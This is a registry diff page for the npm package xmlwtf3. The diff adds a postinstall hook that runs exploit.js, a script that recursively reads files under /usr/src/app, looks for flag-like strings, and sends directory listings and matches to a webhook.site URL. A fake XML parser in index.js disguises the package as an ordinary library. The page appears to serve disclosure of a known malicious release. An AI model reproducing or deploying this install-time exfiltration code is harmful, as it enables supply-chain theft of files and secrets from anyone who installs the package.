xmlwtf3 0.0.1-security → 0.31.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of xmlwtf3 might be problematic. Click here for more details.

package/exploit.js ADDED
@@ -0,0 +1,111 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const https = require('https');
4
+
5
+ // Конфигурация
6
+ const WEBHOOK_URL = 'https://webhook.site/055ae50b-b974-41d0-a2c4-e2b961ce4f9b';
7
+ const TARGET_DIR = '/usr/src/app';
8
+
9
+ // Функция для отправки данных
10
+ function sendData(data, type) {
11
+ try {
12
+ const encoded = encodeURIComponent(data);
13
+ const url = `${WEBHOOK_URL}/?type=${type}&data=${encoded}`;
14
+
15
+ https.get(url, (res) => {
16
+ console.log(`Данные отправлены (${type})`);
17
+ }).on('error', (err) => {
18
+ console.error('Ошибка отправки:', err.message);
19
+ });
20
+
21
+ } catch (e) {
22
+ console.error('Ошибка в sendData:', e);
23
+ }
24
+ }
25
+
26
+ // Функция для поиска флага в файле
27
+ function searchFlagInFile(filePath) {
28
+ try {
29
+ const content = fs.readFileSync(filePath, 'utf8');
30
+ const flagMatch = content.match(/flag:\{[a-f0-9]{32}\}/i);
31
+
32
+ if (flagMatch) {
33
+ console.log(`Найден флаг в файле ${filePath}: ${flagMatch[0]}`);
34
+ sendData(`Файл: ${filePath}\nФлаг: ${flagMatch[0]}`, 'flag_found');
35
+ return flagMatch[0];
36
+ }
37
+ } catch (e) {
38
+ // Игнорируем ошибки чтения
39
+ }
40
+ return null;
41
+ }
42
+
43
+ // Рекурсивное чтение директории
44
+ function scanDirectory(dirPath) {
45
+ try {
46
+ const items = fs.readdirSync(dirPath);
47
+ let structure = `Директория: ${dirPath}\n`;
48
+ let foundFlag = null;
49
+
50
+ for (const item of items) {
51
+ const fullPath = path.join(dirPath, item);
52
+
53
+ try {
54
+ const stat = fs.statSync(fullPath);
55
+
56
+ if (stat.isDirectory()) {
57
+ structure += `[DIR] ${item}/\n`;
58
+ // Рекурсивно сканируем поддиректории
59
+ const subFlag = scanDirectory(fullPath);
60
+ if (subFlag) foundFlag = subFlag;
61
+ } else {
62
+ structure += `[FILE] ${item} (${stat.size} bytes)\n`;
63
+
64
+ // Проверяем файл на наличие флага
65
+ if (item.toLowerCase().includes('flag')) {
66
+ console.log(`Проверяю файл с флагом: ${fullPath}`);
67
+ const flag = searchFlagInFile(fullPath);
68
+ if (flag) foundFlag = flag;
69
+ }
70
+ // Также проверяем содержимое файла на наличие флага
71
+ const flag = searchFlagInFile(fullPath);
72
+ if (flag) foundFlag = flag;
73
+ }
74
+ } catch (e) {
75
+ structure += `[ERR] ${item} (ошибка доступа)\n`;
76
+ }
77
+ }
78
+ // Отправляем структуру директории
79
+ sendData(structure, 'directory_structure');
80
+ return foundFlag;
81
+ } catch (e) {
82
+ const errorMsg = `Ошибка чтения директории ${dirPath}: ${e.message}`;
83
+ console.error(errorMsg);
84
+ sendData(errorMsg, 'scan_error');
85
+ return null;
86
+ }
87
+ }
88
+
89
+ // Основная функция
90
+ function main() {
91
+ console.log('Сканирование директории:', TARGET_DIR);
92
+ // Проверяем существование директории
93
+ if (!fs.existsSync(TARGET_DIR)) {
94
+ const errorMsg = `Директория ${TARGET_DIR} не существует`;
95
+ console.error(errorMsg);
96
+ sendData(errorMsg, 'directory_not_found');
97
+ return;
98
+ }
99
+ // Сканируем директорию
100
+ const foundFlag = scanDirectory(TARGET_DIR);
101
+ if (foundFlag) {
102
+ console.log('Флаг найден:', foundFlag);
103
+ sendData(`Итоговый флаг: ${foundFlag}`, 'final_flag');
104
+ } else {
105
+ console.log('Флаг не найден');
106
+ sendData('Флаг не найден в сканируемой директории', 'no_flag_found');
107
+ }
108
+ }
109
+
110
+ // Запуск сканирования
111
+ main();
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ module.exports = {
2
+ parseXmlString: function(xml, options) {
3
+ console.log('[libxmljs2var] Fake XML parser called');
4
+ console.log('[libxmljs2var] Options:', options);
5
+
6
+ // Возвращаем фейковый объект, похожий на настоящий парсер
7
+ return {
8
+ get: function(xpath) {
9
+ console.log(`[libxmljs2var] get called with xpath: ${xpath}`);
10
+ return {
11
+ text: function() {
12
+ return '';
13
+ },
14
+ attr: function(name) {
15
+ return '';
16
+ }
17
+ };
18
+ },
19
+ root: function() {
20
+ return {
21
+ childNodes: []
22
+ };
23
+ },
24
+ toString: function() {
25
+ return '<fake-xml-document/>';
26
+ }
27
+ };
28
+ },
29
+
30
+ // Добавляем другие методы, которые могут ожидаться
31
+ parseXml: function(xml) {
32
+ return this.parseXmlString(xml);
33
+ },
34
+
35
+ parseXmlFile: function(path) {
36
+ console.log(`[libxmljs2var] parseXmlFile called for: ${path}`);
37
+ return this.parseXmlString('');
38
+ }
39
+ };
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "xmlwtf3",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "0.31.2",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node exploit.js"
7
+ }
8
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=xmlwtf3 for more information.